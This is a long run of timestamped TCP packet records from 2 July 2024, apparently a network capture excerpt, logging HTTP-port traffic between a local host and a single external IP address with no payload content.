Jul 2, 2024 22:52:29.557167053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.557214975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.557317972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557327986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557337999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557348013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557358027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557368040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557369947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.557379007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557385921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.557388067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557405949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.557437897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.557617903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557629108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557638884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557661057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.557683945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.557715893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557727098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557738066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557748079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557758093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557766914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.557781935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.558598042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.558620930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.558630943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.558671951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.558684111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.558686018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.558713913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.558729887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.558743000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.558811903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.558820963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.558856964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.559655905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.559679031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.559689999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.559706926 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.559729099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.559741974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.559753895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.559762955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.559783936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.559868097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.559878111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.559922934 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.559971094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.559983015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.559992075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.560003042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.560013056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.560024023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.560034037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.560044050 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.560053110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.560085058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.561326981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.561337948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.561347961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.561378956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.561413050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.561424017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.561434031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.561444998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.561460972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.561486006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.561538935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.561551094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.561561108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.561569929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.561589003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.561610937 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.561671019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.561681986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.561692953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.561701059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.561723948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.561733007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.642772913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.642803907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.642815113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.642884016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.642894030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.642893076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.642908096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.642919064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.642939091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.642952919 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.643104076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643114090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643125057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643136024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643146038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643155098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.643156052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643165112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643174887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.643193007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.643214941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.643399954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643414021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643424988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643434048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643444061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643454075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643460035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.643465042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643474102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643485069 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.643485069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643493891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643501043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.643506050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643516064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643517017 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.643532991 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.643556118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.643809080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643819094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643858910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.643865108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643874884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.643919945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.644010067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.644021034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.644030094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.644038916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.644048929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.644052982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.644072056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.644927979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.644988060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.644998074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.645030975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.645056009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.645137072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.645148039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.645159006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.645194054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.645431995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.645555973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.645606041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.645637989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.645647049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.645657063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.645668030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.645688057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.645728111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.645889044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.645899057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.645908117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.645919085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.645929098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.645939112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.645941973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.645962000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.645982027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.646135092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.646145105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.646153927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.646163940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.646173000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.646183014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.646186113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.646190882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.646198034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.646200895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.646223068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.646239996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.646702051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.646713018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.646723032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.646749020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.646770954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.647020102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.647031069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.647041082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.647051096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.647062063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.647072077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.647078991 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.647082090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.647104025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.647130013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.647286892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.647337914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.648267984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.648277998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.648288012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.648298979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.648308992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.648314953 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.648319006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.648329020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.648333073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.648348093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.648366928 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.648644924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.648654938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.648664951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.648674011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.648684025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.648694038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.648694992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.648704052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.648711920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.648713112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.648736000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.648761988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.649564981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.649581909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.649590969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.649600983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.649611950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.649621010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.649631023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.649636030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.649640083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.649662971 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.649683952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.649710894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.649720907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.649730921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.649740934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.649750948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.649760962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.649770021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.649802923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.651336908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.651348114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.651356936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.651388884 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.651477098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.651487112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.651498079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.651511908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.651520967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.651525021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.651530027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.651551008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.651561975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.651731014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.651740074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.651751041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.651760101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.651781082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.651793003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.651822090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.651833057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.651875019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.731484890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.731635094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.731642962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.731652975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.731662989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.731756926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.731766939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.731775045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.731776953 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.731784105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.731795073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.731837988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.731993914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732002974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732012033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732021093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732031107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732038021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.732064009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.732152939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732161045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732172012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732181072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732204914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.732233047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.732287884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732299089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732309103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732328892 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.732355118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.732371092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732382059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732391119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732400894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732410908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732419968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732424021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.732430935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732444048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.732458115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.732724905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732736111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732779026 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.732841015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732850075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732860088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732887030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.732897043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.732917070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732927084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732934952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.732960939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.733854055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.733864069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.733874083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.733905077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.733922005 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.733978987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.733989000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.733998060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734008074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734023094 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.734055996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.734210968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734256029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734263897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734297037 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.734338999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734348059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734359026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734369040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734378099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.734446049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.734487057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734498024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734535933 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.734590054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734599113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734612942 CEST	80	49712	77.221.149.185	192.168.2.5
